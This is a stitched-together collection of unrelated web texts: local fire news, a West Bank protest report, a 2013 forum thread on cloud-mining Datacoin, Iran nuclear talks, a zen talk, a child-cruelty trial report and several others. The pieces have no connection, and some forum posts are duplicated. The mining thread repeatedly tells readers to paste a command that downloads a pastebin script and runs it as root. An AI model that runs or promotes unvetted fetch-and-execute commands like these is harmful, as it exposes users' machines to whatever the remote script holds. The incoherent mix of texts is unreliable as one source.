The Fifth Street blaze was the fourth fire that Berkeley firefighters responded to in less than 24 hours, said Dong. On Wednesday, Berkeley firefighters helped with the wildfire in the hills off Grizzly Peak Boulevard, a fire at Berkeley’s transfer station, and a structure fire around 4:30 p.m. in the 900 block of The Alameda, said Dong. For the latter two fires, El Cerrito and Albany fire departments provided mutual aid. [Editor’s note: After this story was published, the fire department responded to two other fires, including a small one at Phi Gamma Delta on Piedmont Avenue and Channing Way and a fire of two trees at Aquatic Park.]
“The crews are kind of beat up from yesterday and then they had this to respond to,” said Dong.
Cassandra Chen, the co-founder of CC Made and the producer of Café Fanny granola, said the fire started in a dry storage unit. Fire officials suspect the cause may have been electrical, she said.
“Everything in that room melted or burned and in the rest of the building everything is covered in a dark soot,” said Chen. “Everything has smoke damage.”
Chen just learned from her agent that she does not have property damage, which means her company will have to absorb the $75,000 she lost when oil and about 1,000 pounds of sugar burned up. Chen has launched a Go Fund Me campaign to help her recover her losses.
The building will be shut for at least a number of weeks. Chen put out a call to the food community after the fire inquiring whether anyone had a commercial kitchen she could use or rent, she said. Chen said she had already had some responses.
“The artisanal food manufacturing community has been really supportive,” said Chen. Hopefully, we will be up and running very soon.”
Chen took over the lease on the Fifth Street building from Alice Waters after Café Fanny, which launched the granola product, closed in 2012. Chen recalled how she took over the business in a video on the Café Fanny granola website. Since then, Chen has updated the packaging and added some new varieties, including one with quinoa. She also started selling in bulk and to restaurants, according to the San Francisco Chronicle. Chen also makes caramels, brittles, and sauces on the premises.
Waters opened Café Fanny with her brother-in-law Jim Maser and friend Sharon Jones in 1984 and named it after the heroine in Marcel Pagnol’s 1930s movies, as well as Waters’ daughter, who is also called Fanny.
CC Made also manufactures various brittles, flavored popcorns and caramel sauces on Fifth Street. Stores like Dean & Deluca, Bloomingdales and Bi-Rite Markets carry the products, according to the company website.
Chen worked for the Bank of America on the foreign exchange trading floor before she decided her passion lay in the food business. She eventually went to work for Traci des Jardins at the then new restaurant Jardiniere in San Francisco. She met her husband, Manuel Guzman, a wine expert there, and the two eventually created CC Made. The couple has self-financed the company, according to the Chronicle.
As Palestinian politicians and others visited the site on Saturday in a show of support, Israeli Prime Minister Binyamin Netanyahu issued a statement affirming his military's order and asking that the "High Court of Justice rescind the injunction that it had issued and which is delaying the evacuation".
The statement also declared the "closure of access roads to the area in order to prevent gatherings".
More than 200 activists erected the 20-tent "outpost" on Friday in the sensitive West Bank corridor east of Jerusalem where Palestinians say Israeli settlement construction would make the creation of a viable Palestinian state highly problematic.
The protesters modelled their action on the wildcat outposts set up by Israeli settler activists on Palestinian land in a bid to force the government's hand into authorising settlement activity.
"Members of the Israeli Civil Administration told us this morning that we have one hour to evacuate the site," one of the organisers, Abir Kopty, told the AFP news agency.
"We have no intention of leaving of our own accord," she said, adding that the Israeli authorities had declared the area a "closed military zone" and demanded that the activists leave, but had made no demand for the tents to be taken down.
'Highly creative' action
The Israeli military administration had issued previous expulsion orders against the activists but late on Friday they successfully petitioned the Israeli supreme court for the orders to be frozen.
Late on Saturday morning, Israeli security forces were deployed near the camp and a police helicopter hovered overhead.
"The supreme court gave them six days as of yesterday," said Al Jazeera's Jane Ferguson, reporting from the outpost.
"However, people say they're going to stay until the military forcibly moves them out," our correspondent said. "That could happen in the next few hours or over the next few days."
More than 50 more activists managed to reach the camp from the West Bank city of Ramallah to join the activists and others were trying to do so from the city of Hebron, organisers said on Twitter.
Palestinian politicians, including member of parliament Mustafa Barghouti, also made solidarity visits to the protest camp, where activists were recovering from a freezing night under canvas amid the cold snap gripping the Middle East.
PLO negotiator Saeb Erekat said soldiers prevented him from joining the protest on Saturday and told him to turn back to Ramallah, just down the hill from the camp.
The protest outpost, dubbed Bab al-Shams (Gate of the Sun in Arabic), was welcomed on Friday by a senior Palestinian official who described it as a "highly creative and legitimate non-violent" way of protecting Palestinian land from Israeli settlement activity.
The camp lies between annexed East Jerusalem and the Israeli settlement of Maale Adumim.
The international community regards all Israeli settlements on occupied Palestinian land as illegal.
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LegendaryActivity: 1428Merit: 1001getmonero.org ***Easiest Guide For DO Cloud Mining Datacoin***2DTC giveaway!MiningforDummies! December 22, 2013, 05:57:02 PM
Last edit: January 10, 2014, 03:10:38 AM by GreekBitcoin #1 The tl;dr version :
1. Create a droplet 2CPU 2GB Ram Ubuntu 13.10 64x . Please use my referral
2. Copy paste or write this: wget -O dtc.sh
4. Profit. Check it here:
The long clear version:
1) Go to Digital Ocean with my referral link :
2) Make an account there and pay with paypal or credit card at least 10 dollars.
3) Use this promo code for 10 dollars more: OMGSSD10 . If this promo doesnt work google search for another one.
4) At Digital Ocean create a droplet and put a hostname like Miner1 for example.
5) Choose how many CPUs and Region. I believe 2 CPUs 2GB ram is the most cost effective. (Choose at least 1GB memory)
6) Choose Ubuntu 13.10 x64 and then press "create droplet". You will receive an email with your droplet's IP and password
7) Download PuTTY by clicking here:
8 ) Run putty.exe and at Host Name put the emailed IP address and press open. At warning message press Yes.(Or whatever to just continue)
9) Login as: "root" (You just right root and enter ) and for password put your emailed password and enter.
10) Then copy and paste (you paste by just pressing right click on putty) this and press enter:
wget -O dtc.sh DQsoZjorSHBXDUhVkYn7VuSfzG2RfYLpuy 4
*Of course change the DQsoZjorSHBXDUhVkYn7VuSfzG2RfYLpuy to your address!
* 4 at the end is the number of threads you are using. I choose 4 threads when i choose 4 CPUs. But you can experiment and see what is better. Maybe more is better.
AND THATS ALL!
After about 10 minutes you have already started mining. You should see your balance here:
Dont close putty!!! I will tell you how you can actually close Putty without terminating mining in the future.
I will send you 2 DTC only if you use my referral link and fund Digital Ocean with 10 dollars. Send me PM if you do so.
A few things more:
If you create 1 droplet and you want to stop paying money from your balance you have to destroy the droplet. Not just shutdown.
If something doesnt work try to reboot your droplet. Maybe even destroy it and create it again. But beware that this will cost like 1 hour of using it. 0.03 dollars for 2CPU droplet.
If your balance falls to zero it will continue to mine and charge until you destroy. So have in mind when you have to destroy your droplet.
Sometimes Digital Ocean really sucks and is slow....
Read more about Datacoin here:
Right now i believe datacoin is highly undervalued and in the future it will have enough value for this to be profitable. I expect 3.5DTC per day. Support Datacoin and its innovation! Support decentralized storage!
You can make total 5 droplets this way. But you pay each one by the hour. But i advice to take it easy and see how things work. Make your profitability calculations and decide.
Difficulty is getting bigger and bigger everyday! Mine while you can!
Thanks this guy for this guide and maybe send him some donations:
Quote from: Stultiloquy on December 16, 2013, 08:39:55 PM
Code: wget -O dtc.sh http://pastebin.com/raw.php?i=qYVpT5WN && chmod +x dtc.sh && ./dtc.sh <username> <proclimit>
Easier way:
P.S. Datacoin as a fork of Primecoin uses primeminer
UPDATES:
I just updated the link. Now you automatically download "screen" and you run primeminer with screen. This way by pressing ctrl A and then D you detach screen and you can safely close putty without stopping mining. You can again attach your mining screen with "screen -r". On this update i also automatically download "DataMinerWatch" but i dont run it. See here if you want to run it. I recommend it 100% https://bitcointalk.org/index.php?topic=390911.0 1. Create a droplet 2CPU 2GB Ram Ubuntu 13.10 64x . Please use my referral https://www.digitalocean.com/?refcode=9d68ca19e204 2. Copy paste or write this: wget -O dtc.sh http://pastebin.com/raw.php?i=Pj0MLeMq && chmod +x dtc.sh && ./dtc.sh DQsoZjorSHBXDUhVkYn7VuSfzG2RfYLpuy 43. ? ? ? ? ?4. Profit. Check it here: http://dtc.xpool.xram.co/individual 1) Go to Digital Ocean with my referral link : https://www.digitalocean.com/?refcode=9d68ca19e204 2) Make an account there and pay with paypal or credit card at least 10 dollars.3) Use this promo code for 10 dollars more: OMGSSD10 . If this promo doesnt work google search for another one.4) At Digital Ocean create a droplet and put a hostname like Miner1 for example.5) Choose how many CPUs and Region. I believe 2 CPUs 2GB ram is the most cost effective. (Choose at least 1GB memory)6) Choose Ubuntu 13.10 x64 and then press "create droplet". You will receive an email with your droplet's IP and password7) Download PuTTY by clicking here: http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe 8 ) Run putty.exe and at Host Name put the emailed IP address and press open. At warning message press Yes.(Or whatever to just continue)9) Login as: "root" (You just right root and enter ) and for password put your emailed password and enter.10) Then copy and paste (you paste by just pressing right click on putty) this and press enter:wget -O dtc.sh http://pastebin.com/raw.php?i=Pj0MLeMq && chmod +x dtc.sh && ./dtc.sh*Of course change theto your address!at the end is the number of threads you are using. I choose 4 threads when i choose 4 CPUs. But you can experiment and see what is better. Maybe more is better.After about 10 minutes you have already started mining. You should see your balance here: http://dtc.xpool.xram.co/ I will tell you how you can actually close Putty without terminating mining in the future.A few things more:If you create 1 droplet and you want to stop paying money from your balance you have to destroy the droplet. Not just shutdown.If something doesnt work try to reboot your droplet. Maybe even destroy it and create it again. But beware that this will cost like 1 hour of using it. 0.03 dollars for 2CPU droplet.If your balance falls to zero it will continue to mine and charge until you destroy. So have in mind when you have to destroy your droplet.Sometimes Digital Ocean really sucks and is slow....Read more about Datacoin here: https://bitcointalk.org/index.php?topic=325735 . Ask you questions there or at the forum: https://datacointalk.org/ Right now i believe datacoin is highly undervalued and in the future it will have enough value for this to be profitable. I expect 3.5DTC per day. Support Datacoin and its innovation! Support decentralized storage!You can make total 5 droplets this way. But you pay each one by the hour. But i advice to take it easy and see how things work. Make your profitability calculations and decide.Difficulty is getting bigger and bigger everyday! Mine while you can!Thanks this guy for this guide and maybe send him some donations:P.S. Datacoin as a fork of Primecoin uses primeminerI just updated the link. Now you automatically download "screen" and you run primeminer with screen. This way by pressing ctrl A and then D you detach screen and you can safely close putty without stopping mining. You can again attach your mining screen with "screen -r". On this update i also automatically download "DataMinerWatch" but i dont run it. See here if you want to run it. I recommend it 100% https://bitcointalk.org/index.php?topic=390911.0
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NewbieActivity: 39Merit: 0 Re: ***Easiest Guide For DO Cloud Mining Datacoin***1DTC giveaway!MiningforDummies! December 23, 2013, 05:41:12 AM #4
The only downside is that the hashrate isn't the greatest, and they have no custom plans to max out cpu cores (they have a 16, 20, 24-core option) while keeping everything else minimal. Basically, if you want 24 cores, you get 1tb of space you don't need.
I had also researched multithreading and the optimal number of threads, and apparently a single thread per core is the most efficient, it drops quite substantially after you start doubling up (16 threads on 8 cores for instance). See here: I had set this up on digitalocean earlier - it has a console window built into it under "access". Technically, you don't need to bother with puttyThe only downside is that the hashrate isn't the greatest, and they have no custom plans to max out cpu cores (they have a 16, 20, 24-core option) while keeping everything else minimal. Basically, if you want 24 cores, you get 1tb of space you don't need.I had also researched multithreading and the optimal number of threads, and apparently a single thread per core is the most efficient, it drops quite substantially after you start doubling up (16 threads on 8 cores for instance). See here: http://stackoverflow.com/questions/1718465/optimal-number-of-threads-per-core
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LegendaryActivity: 1428Merit: 1001getmonero.org Re: ***Easiest Guide For DO Cloud Mining Datacoin***1DTC giveaway!MiningforDummies! December 23, 2013, 05:48:26 AM #5 Quote from: koppit on December 23, 2013, 05:41:12 AM
The only downside is that the hashrate isn't the greatest, and they have no custom plans to max out cpu cores (they have a 16, 20, 24-core option) while keeping everything else minimal. Basically, if you want 24 cores, you get 1tb of space you don't need.
I had also researched multithreading and the optimal number of threads, and apparently a single thread per core is the most efficient, it drops quite substantially after you start doubling up (16 threads on 8 cores for instance). See here:
I had set this up on digitalocean earlier - it has a console window built into it under "access". Technically, you don't need to bother with puttyThe only downside is that the hashrate isn't the greatest, and they have no custom plans to max out cpu cores (they have a 16, 20, 24-core option) while keeping everything else minimal. Basically, if you want 24 cores, you get 1tb of space you don't need.I had also researched multithreading and the optimal number of threads, and apparently a single thread per core is the most efficient, it drops quite substantially after you start doubling up (16 threads on 8 cores for instance). See here: http://stackoverflow.com/questions/1718465/optimal-number-of-threads-per-core
The built in console is fucked up. Lags too much and you cant copy paste! With putty you just copy paste the line and you are already mining!
As for the hashrate yes i agrre with you. Sometimes it is good sometimes it isnt. And they dont let 100% of the core actually. Like 60%. And because you dont need space and ram thats why i say that the most cost effective right now is 8 CPU droplet!
Although i agree with you and i will probably also say that i will change my values to 1 thread per cpu, sometimes i noticed it was better to have more threads...dunno why. The built in console is fucked up. Lags too much and you cant copy paste! With putty you just copy paste the line and you are already mining!As for the hashrate yes i agrre with you. Sometimes it is good sometimes it isnt. And they dont let 100% of the core actually. Like 60%. And because you dont need space and ram thats why i say that the most cost effective right now is 8 CPU droplet!Although i agree with you and i will probably also say that i will change my values to 1 thread per cpu, sometimes i noticed it was better to have more threads...dunno why.
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LegendaryActivity: 1428Merit: 1001getmonero.org Re: ***Easiest Guide For DO Cloud Mining Datacoin***1DTC giveaway!MiningforDummies! December 23, 2013, 10:07:22 PM
Last edit: December 25, 2013, 06:10:54 PM by GreekBitcoin #6
wget -O dtc.sh
of course change to your address! And you can change .x1 at the end of the address if you want for each worker so that you know which worker earns what. Its like 1st pc is .x1 second pc .x2 etc...
and here you can see your balance for this pool :
If you want to the other pool:wget -O dtc.sh http://pastebin.com/raw.php?i=t1qiL7Y1 && chmod +x dtc.sh && ./dtc.sh DQsoZjorSHBXDUhVkYn7VuSfzG2RfYLpuy.x1 2of course change to your address! And you can change .x1 at the end of the address if you want for each worker so that you know which worker earns what. Its like 1st pc is .x1 second pc .x2 etc...and here you can see your balance for this pool : http://dtc.gpool.net/balance
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MemberActivity: 86Merit: 10 Re: ***Easiest Guide For DO Cloud Mining Datacoin***1DTC giveaway!MiningforDummies! December 24, 2013, 04:06:03 PM
Last edit: December 24, 2013, 08:59:55 PM by metraque #7
DataCoin is going to the moon in short, hopefully this mining method don't get shut down by DigitalOcean
Thank you guys for making DataCoin!
EDIT
anyone is having problems with this guide? I'm not getting paid
EDIT,
solved;) I do mining just for profits, but I'm following those steps and investing precious XMAS time just because I believe in DataCoin, please guys don't dissapoint me.DataCoin is going to the moon in short, hopefully this mining method don't get shut down by DigitalOceanThank you guys for making DataCoin!EDITanyone is having problems with this guide? I'm not getting paidEDIT,solved;)
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MemberActivity: 86Merit: 10 Re: ***Easiest Guide For DO Cloud Mining Datacoin***1DTC giveaway!MiningforDummies! December 24, 2013, 08:58:48 PM #8
and a MUST READ RECOMMENDATION FOR NEWBIES:
Please do not select 8 cores setup, is not cost effective, you get more cpus by choosing VARIOUS droplets of 2cpus and 2gb ram . HAPPILY Mining and awayting for my DTCPlease do not select 8 cores setup, is not cost effective, you get more cpus by choosing VARIOUS droplets of 2cpus and 2gb ram .
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MemberActivity: 86Merit: 10 Re: ***Easiest Guide For DO Cloud Mining Datacoin***1DTC giveaway!MiningforDummies! December 25, 2013, 07:19:54 AM #11
I'm testing if running more threads per droplet and per CPU do more chains per day. I'll tell you in an hour.
And clearly this coin is gooing to the moon in the next months, or less. Thank you for the free DTCI'm testing if running more threads per droplet and per CPU do more chains per day. I'll tell you in an hour.And clearly this coin is gooing to the moon in the next months, or less.
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LegendaryActivity: 1428Merit: 1001getmonero.org Re: ***Easiest Guide For DO Cloud Mining Datacoin***1DTC giveaway!MiningforDummies! December 25, 2013, 08:00:42 AM #12 Quote from: metraque on December 25, 2013, 07:34:30 AM
"" ./primeminer -pooluser=DQsoZjorSHBXDUhVkYn7VuSfzG2RfYLpuy.x1 -poolpassword=0 -poolip=162.243.41.59 -poolport=8336 -poolshare=6 -genproclimit=2 ""
And for the pool, I'm using the chinese one, and thanks for the cmd line foradjust threads per CPU now I can change that parameter and not make a dropplet and then run the script you provided and wait a lot
Edit: the terminal throws this error: -bash: ./primeminer: no such directory or file
"" ./primeminer -pooluser=DQsoZjorSHBXDUhVkYn7VuSfzG2RfYLpuy.x1 -poolpassword=0 -poolip=162.243.41.59 -poolport=8336 -poolshare=6 -genproclimit=2 ""And for the pool, I'm using the chinese one, and thanks for the cmd line foradjust threads per CPUnow I can change that parameter and not make a dropplet and then run the script you provided and wait a lotEdit: the terminal throws this error: -bash: ./primeminer: no such directory or file
I answer here because others might want to know about this too. So when mining has started you can terminate it with Ctrl+C because you may want to change a parameter. For example you may want to change threads or your address or even pool. The automatic script i use in the OP can be used again of course but makefile will take 5 minutes or so and its not efficient to do this everytime. So you can run this:
./primeminer -pooluser=DQsoZjorSHBXDUhVkYn7VuSfzG2RfYLpuy.x1 -poolpassword=0 -poolip=162.243.41.59 -poolport=8336 -poolshare=6 -genproclimit=2
Now the error you have is because you try to run the program "primeminer" but you are not in the folder that you have downloaded it. (Download happened automatically with the script of the OP)
so see at terminal where you are. I think you will be on root or just ./ (its the same). So you have to type cd primecoin/src in order to go to the directory that primeminer is and then run the line above.
Now if you are not in the root folder (root folder is the main one. Something like C: on windows) but in another folder if you type "cd .." you go back one folder. You do this until you get to root and then "cd primecoin/src" and then run the script.
Hope this helps
I answer here because others might want to know about this too. So when mining has started you can terminate it with Ctrl+C because you may want to change a parameter. For example you may want to change threads or your address or even pool. The automatic script i use in the OP can be used again of course but makefile will take 5 minutes or so and its not efficient to do this everytime. So you can run this:./primeminer -pooluser=DQsoZjorSHBXDUhVkYn7VuSfzG2RfYLpuy.x1 -poolpassword=0 -poolip=162.243.41.59 -poolport=8336 -poolshare=6 -genproclimit=2Now the error you have is because you try to run the program "primeminer" but you are not in the folder that you have downloaded it. (Download happened automatically with the script of the OP)so see at terminal where you are. I think you will be on root or just ./ (its the same). So you have to type cd primecoin/src in order to go to the directory that primeminer is and then run the line above.Now if you are not in the root folder (root folder is the main one. Something like C: on windows) but in another folder if you type "cd .." you go back one folder. You do this until you get to root and then "cd primecoin/src" and then run the script.Hope this helps
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LegendaryActivity: 1428Merit: 1001getmonero.org Re: ***Easiest Guide For DO Cloud Mining Datacoin***1DTC giveaway!MiningforDummies! December 25, 2013, 08:06:56 AM #14 Quote from: Papacrusher on December 25, 2013, 08:01:54 AM Sorry, just wanted to jump in with a noob question. I notice that DO has the option to pay monthly, but is that amount you pay changed for the amount of data used by mining? Basically I'm asking if they have say a $10/month plan, would mining cause you to go over their threshold and incur more charges? Thanks for any advice and guidance on this.
According to DO:
How do I choose between monthly and hourly billing?
There is no difference between monthly and hourly billing. All droplets are billed hourly, up until a monthly cap. We have estimated that each month has about 672 hours (28 days). If you use your server for less than 672 hours during the month, you will be billed for each hour that you used it. If you use your server for more than 672 hours that month, you will be billed at the monthly cost, which is no greater than 672 hours.
Personally i calculate by the hour...Mind the price is per droplet. If you have 5 droplets 2cpu 2gb its 0.03$ per hour each so 0.15 per hour all of them According to DO:How do I choose between monthly and hourly billing?There is no difference between monthly and hourly billing. All droplets are billed hourly, up until a monthly cap. We have estimated that each month has about 672 hours (28 days). If you use your server for less than 672 hours during the month, you will be billed for each hour that you used it. If you use your server for more than 672 hours that month, you will be billed at the monthly cost, which is no greater than 672 hours.Personally i calculate by the hour...Mind the price is per droplet. If you have 5 droplets 2cpu 2gb its 0.03$ per hourso 0.15 per hour all of them
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MemberActivity: 86Merit: 10 Re: ***Easiest Guide For DO Cloud Mining Datacoin***1DTC giveaway!MiningforDummies! December 25, 2013, 05:45:43 PM #18 This is the performance of an experiment I did with DO droplets:
W Payment Mean Worker Specs
1G8 0,000167259 1G8: 1GB, 1CPU, 8 threads
1G2 0,000029975 1G2: 1GB, 1CPU, 2 threads
1G4 0,000005644 1G4: 1GB, 1CPU, 4 threads
-G0 0,000026668 -G0: 2GB, 2CPU, 16 threads
July 13, 2015, 12:28 PM GMT / Updated July 14, 2015, 7:11 AM GMT By Andrea Mitchell
VIENNA, Austria — A deal with Iran described as "transformational" was coming together overnight Monday, senior Western officials told NBC News. It was expected to be announced early Tuesday.
State Department Spokeswoman Marie Harf confirmed in a tweet Tuesday that the so-called P5 + 1 members and Iran would hold a final plenary session at 10:30 a.m. local time (4:30 a.m. ET) followed by a news conference.
Citing a senior diplomat, The Associated Press reported early Tuesday that the final obstacles had been cleared and that a deal had been reached. NBC News could not immediately independently confirm that report.
Late Monday, drafts of an agreement were already being studied in Washington and other capitals, the officials said on the 17th day of negotiations toward a deal that could lift crippling sanctions against Tehran in exchange for curbs on its nuclear program.
Secretary of State John Kerry, who returned to the Coburg Palace for more talks with European Union leaders, was described as upbeat.
Among the remaining sticking points were whether to lift a U.N. arms embargo — and if so, when — and how much Tehran should have to account for past suspected nuclear activity.
There was also a last-minute dispute over how much advanced nuclear research Iran would be able to conduct at the end of deal, at least a decade from now.
Any deal would face skepticism from Congress and would likely need a strong sales campaign from the White House.
"The parts of the deal are there," a senior official from one of the six powers in talks with Iran told Reuters. "We still need to put the finishing touches together‎. All sides have to decide now. It's time to say, 'Yes.'"
During the White House briefing, press secretary Josh Earnest told reporters that the interim deal will remain in place should a deal not be reached Monday.
Rev. S. Suzuki
My master passed away when I was thirty three. So after his death I became pretty busy. I wanted to devote myself just to zen practice, but I couldn’t stay at Eihieji monastery because I had to be the successor of his temple. For us, it is necessary to keep constant way…not some kind of excitement, but we should be concentrated on usual every day routine. If one become too busy and too much excitement our mind will become rough…rugged. This is not so good for us. So, if possible, try to be always calm and joyful and keep yourself from excitement. That is most important point…thing for us. But usually we are…we become more and more busy, day by day, year after year.
If I go back to Japan this summer I shall be astonished—the change they make in Japan. It cannot be helped, but if we become interested in some excitement this change will accelerate and we will be lost and we will be completely involved in busy life, but if our mind is always calm and constant we can keep our self away from noisy world even though we are in the midst of it. In the midst of the noisy world our mind will always be calm and stable. Zen is not some excitement, but people practice zen because of some curiosity. That is a kind of excitement. Zen is not zen; that is worse…if you practice zen you will make yourself worse because of zen practice. This is ridiculous. I didn’t notice that, but many people practice zazen…interested in zazen just by curiosity, and make themselves worse and busier. I think if you try to come once a week here that will make you pretty busy. That is enough. Don’t be too much interested in zen. Just keep your calm and keep your constant way in everyday life.
Once…young people, especially, interested in zen, they will give up schooling, and they will…some people go to some mountain or forest where they can sit. But that kind of interest is not true interest. When I was young I didn’t intend to be…I didn’t like to be a successor of my master but I have to…I had to. But since then, because I became my master’s successor when I was so young I had many difficulties. Too much difficulty gives me some experience but those experiences…comparing to the true, calm and serene way of life, those experiences are nothing. So if you continue the calm ordinary practice your character will be built up but if your mind is always busy there’s no time to build up your character. To build up…if you want to build up…even though you want to build up your character it doesn’t…you will not be successful if you work on it too hard. It should be done little by little, step by step. It is the same thing to make bread. If you make…if you give it too much heat it will burn…you will not get bread. It is the same thing…we have to do it little by little. And moderate temperature…we want, not too much temperature or excitement—little by little. And you know yourself pretty well…how much heat…temperature you want…you know exactly what you want. But if you are too much…if you have too much excitement you forget your own way and you don’t know…you forget how much temperature is good for you. That’s very dangerous.
Buddha says it is same thing with the good driver (driver of a cow not motor car)…cow knows how much load the cow can carry and keep the cow from being too loaded. You know your way and your state of mind. So you know how much load you can carry. Don’t carry too much Buddha says. It is very good instruction. Or he says it is the same thing with a…to make a dam. If you want to make a dam, you should be careful in making the bank. If you try to do it all at once the water will leak from the bank so you have to make the bank carefully, little by little. Then you will have a fine, good bank for the lake, reservoir. This is the way he says. This is quite true with us. So, too much excitement is not good. It looks like very negative way, but it is not so. It is wise and comfortable way, or effective way…to work on ourselves. I find it…this point is very difficult for people who study zen…especially young people.
ZMBMms box transcript. Exact copy entered onto disk and emailed to DC by GM 08/27/2008
The patient, whose name has not been released, was kept in isolation at Mount Sinai Hospital after he arrived at the emergency room late Sunday with a high fever and gastrointestinal problems. Residents were concerned that the city could have its first case of the deadly disease, but health officials said that the patient was unlikely to have Ebola.
On Wednesday, the Centers for Disease Control and Prevention released a statement saying that the patient had tested negative for the Ebola virus.
We can tell quite a bit just by looking at the bike. The basic chassis appears unchanged from that of the EBR 1190RX superbike, meaning it is the same burly twin-spar fuel-in-frame setup and is virtually guaranteed to have the same 22.4-degree rake angle; that frame is a big, expensive part that is unlikely to have been altered. A new upper triple clamp is used to accommodate the tubular handlebar, and there is a possibility that the offset has been changed to increase trail from the RX’s 3.8-inch figure, given the different dynamic weight distribution encountered by sitting the rider up versus crouched over on the 1190RX. Wheelbase will vary only fractionally from the 56.0 inches we measured on the RX.
The study – by the authoritative Action Group on Erosion, Technology and Concentration (ETC Group), based in Ottawa, Canada – has found that nine firms have filed at least 532 patents around the world on about 55 different genes offering protection against heat, drought and floods. If granted, the companies would be given control of crucial natural raw material needed to maintain food supplies in an increasingly hungry world.
Last week, as world leaders met in Rome to discuss the food crisis, GM companies promoted their technologies as the answer to hunger. On Thursday, Monsanto – the biggest and most controversial firm – announced a "commitment" to increase food production, partly by developing crops that need less water.
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"Together we must meet the needs for increased food, fibre and energy, while preserving the environment," said the company's head, Hugh Grant. "These commitments represent the beginning of a journey that we will expand on and deepen in the years ahead."
The ETC Group calls this "an opportunistic public relations strategy", adding: "Monsanto's business is selling patented seeds for industrial agriculture – not addressing a humanitarian food crisis."
The report of its investigation shows that Monsanto and BASF – which last year announced a $1.5bn "collaboration" to develop new GM crops, including "ones more tolerant to adverse environmental conditions such as drought" – have between them filed patents for 27 of the 55 genes. Others had been filed by companies such as Bayer, Syngenta and Dow.
The reports says some of the applications are sweeping. One would cover more than 30 crops from oats to oil palms, triticale to tea, and potatoes to perennial grass – "in other words, virtually all food crops".
It says the "corporate grab on climate-tolerant genes" means that "a handful of transnational companies are now positioned to determine who gets access to key genetic traits and what price they must pay".
Small farmers in developing countries will be particularly hard hit by such "climate-change profiteering". Patenting will make the crops expensive and ensure that poor farmers have to buy them every year, by prohibiting them from saving seeds from one harvest to grow for the next.
According to the report, conventional, non-GM breeding techniques are making remarkable progress in developing crops that can tolerate heat, floods and drought. A new Asian rice, due to go on the market next year, can stand being submerged for two weeks without affecting yields, while a new African one flowers early in the morning, escaping the heat of the day.
But, it says, "the patent grab is sucking up money and resources that could be spent on affordable, farmer-based strategies for survival".
It concludes: "These patented technologies will ultimately concentrate corporate power, drive up costs, inhibit independent research and further undermine the rights of farmers to save and exchange seeds".
A five-year-old boy was left naked in a cupboard sealed with Sellotape while his family went on a day trip, a court heard.
The boy was left with chocolate and sweets while his 40-year-old mother and her female friend went to Blackpool, leaving him alone for 10 hours, it's alleged.
The jury at Bradford Crown Court was told that on another occasion he was beaten with a metal pole and struck over the head with a stiletto heel.
When his head was gashed by the blow from the shoe, the women bought Superglue to stick the wound together instead of taking him to hospital, his sisters told the police.
His mother and her friend, who cannot be named to protect the identity of the boy, deny 21 months of cruelty and neglect against him.
The boy’s mother, from Bradford, West Yorks, denies two offences of child cruelty, between August, 2012, and April, 2014.
Her friend, in her late 20s and also from Bradford, pleads not guilty to two similar charges of child cruelty and two allegations of unlawfully wounding the child.
(Image: PA)
Prosecutor Ian Howard said the women, who cannot be named to protect the identity of the boy, were arrested after doctors at Bradford Royal Infirmary suspected that a cut to his chin and weals on his back and arm were non-accidental.
The boy’s mother had taken him to the hospital on April 27, 2014, saying he had hurt his chin by falling over a coat hanger at home.
Both women gave no comment in interviews when questioned by the police.
The boy told a specially trained safeguarding officer that his mother’s friend got a stick from under the bed, wrapped it in tissue and hit him.
“Being hit with a stick made him sad and he cried,” he said.
His mother put a sticking plaster on to his chin but it would not stop bleeding and he had to be taken to hospital.
One of his sisters told the police she saw her mother’s friend hit her brother up to ten times with part of a metal rack.
She would also tape him in a cupboard to stop him getting out, the girl alleged.
He was shut in with his toys and she could hear him whispering, she said.
Both girls said the boy’s head wound had been stuck with Superglue by the women.
The second sister said he was made to take off his clothes and get into the cupboard.
She claimed he was shut in between 11am and 9.30pm on one occasion when the rest of the family went to Blackpool.
He was naked and left with sweets and chocolates, she said.
The jury will hear from staff at the boy’s school who allegedly noticed his injuries.
One of the biggest complaints that consumers have had is with Google’s “Top X Apps” lists is that these lists include both games and apps. And if you take a look at any of these lists, you’ll note that most of them are of games. It’s not really Google’s fault, as a large number of apps in the Play Store comprise of games.
While we are sure that Google is aware of this pain point, a recent discovery made by Phandroid suggests that the software giant might be considering publishing Top App lists that actually include only apps and not games.
Phandroid stumbled upon a couple of hidden Play Store links – “Top Free Apps“, “Top Paid Apps“, and simply “Top Apps” – that are just like your regular app lists, minus the games. Click on the links to be taken to the respective lists on the Play Store.
I think the root of the tactical combat layer problems is that with only 4-6 troops the design would be unfair if aliens could kill you sight unseen like was the threat in the original. The solution was to remove aliens being able to attack until at least the turn after you first spot them. This is true even if the aliens stumble across you on their own on their turn - they don't get to launch an attack, they can merely take a free move action. However, this lends itself to a strategy to take advantage of this behavior by being extremely careful not to engage too many enemies at once during your own turn. Even on Classic I basically feel no danger of actually losing any of my experienced soldiers at this point - my last loss was months ago and due to some incredibly bad luck ON TOP OF me trying to rush through the alien base faster than was tactically sound (an alien grenade destroyed my full cover and granted LoS to my troop, allowing a follow-up of two heavy plasma shots that still only critically wounded... my support and only medpack carrier. Thank goodness soldiers can't pick up and use equipment from their fallen comrades like in the original!)
If the aliens had their own equivalent of Squad Sight you'd see a very different tactical game emerge, but it'd be one where the attrition of there being 20 aliens to your 6 troops would not work out in your favor.
Also, the math behind Cover is weird. Early game full cover is 40 defense and partial is 20 and they take an alien that had an 80% chance of hitting you in the open down to a 40% or 60% chance - a significant defensive bonus. However, later full cover is taking aliens that may have had a 110% chance of hitting you down to 70% and partial is taking them down to 90%. Which leaves partial cover almost meaningless and leaves full cover still getting you hit more often than not. This really impacts how many aliens you can potentially engage at once regardless of how "good" of a defensive position you're in. And again, to keep this feeling fair, the design skews towards not forcing the issue - it always wants to let you react.
They put the special abilities on timers, but then give you all the time in the world. It's the equivalent of a D&D campaign where the DM lets the party rest and heal everything back to full after every single encounter, regardless of how trivial. There's zero urgency, even past the point of reason. We have a vast intersteller alien threat with FTL communication and telepathy, but they cannot coordinate against assaults unless they happen to be standing right next to each other in the same room? The bomb missions and terror missions are the only missions I've seen in the entire game that break this mold, and they sadly represent less than 10% of the combat you end up going through. Even then, the terror missions allow for the option to just ignore civilian safety and play them like they were abduction missions, and still basically come out ahead for "winning." The game needs more missions like the bomb missions - if you're going to do monster closets, you need to make the objective force the player to kick the doors down one after another whether they really want to or not.
The city settled both lawsuits, paying a total of $138,073 to two men who were Tased by police after they had surrendered. In each incident, the men were on their knees with their hands locked behind, or on their heads when they were tased.
